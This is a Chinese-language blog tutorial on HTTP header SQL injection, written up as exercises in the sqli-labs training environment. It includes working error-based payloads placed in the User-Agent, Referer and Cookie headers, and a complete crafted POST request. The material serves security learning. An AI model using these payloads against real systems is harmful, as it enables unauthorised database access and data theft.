Ps: 先做实验,在有操作的基础上理解原理会更清晰更深入。
一、实验 sqli-lab
1. User-Agent注入
- 特点:登陆后返回用户的 User-Agent --> 服务器端可能记录用户User-Agent
- 输入不合法数据报错
- payload:
' and updatexml(1,concat("~",database(),"~"),1),'','')-- clay
- 数据包
POST /sqli-labs/Less-18/index.php HTTP/1.1
Host: 10.49.102.86
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
X-Forward-For:
User-Agent:' and updatexml(1,concat("~",database(),"~"),1),'','')-- clay
Upgrade-Insecure-Requests: 1
submit=Submit&uname=admin&passwd=admin
- 备注:
该注入是insert语句的注入,完整SQL语句为:
$insert="INSERT INTO `security'. 'uagents'( uagent', ' ip_address', 'username')VALUES ( '$uagent' ,'$IP', $uname)";
payload | 有效 | 备注 |
---|---|---|
‘,’‘,’') and updatexml(1,concat(““,database(),””),1) | 否 | 先闭合insert |
’ and updatexml(1,concat(““,database(),””),1),‘’,‘’)-- clay` | 是 | 后闭合insert |
总结:insert类型的SQL注入时,在注入点闭合后就添加要执行的语句,而不是,闭合完整个insert语句后再添加要执行的语句。
2. Referer注入
特点: 返回用户的Referer,可能后端会记录该值
payload:12138' and extractvalue(1,concat("~",database())) ,'') -- clay
3. Cookie注入
特点: 返回,后端可能记录User-Agent和Cookie
把cookie的值删除后:
payload: ' and updatexml(1,concat("~",database(),"~"),1) -- clay
二、 HTTP头部注入讲解
一下均为自己的理解,讲的大白话一点,粗体是核心。
原理:
HTTP头部注入产生的核心原因就是,后端存在查询或记录HTTP请求头内容(数据库交互)
实验一:后端记录 User-Agent ,insert 类型的注入
实验二:后端记录 Referer ,insert 类型的注入
实验三:后端查询 cookie ,select 类型的注入
不同的注入类型存在不同的闭合方式,这个一点要注意,除上述闭合类型以外,当搜索框中存在注入时,可能需要%
的闭合(模糊查询 like %xxx%)
三、总结
在这里还是再次强调一下SQL注入产生的条件:用户输入的语句带入到数据库执行
-
参数可控
-
带入到数据库执行
HTTP头部注入也是一模一样,用户可以控制HTTP请求头,后端带入到数据库执行,这两个条件缺一个都不可以!
如果对你有所帮助拜托拜托点赞收藏加评论666,更多文章内容欢迎访问笔者博客 :xclay.net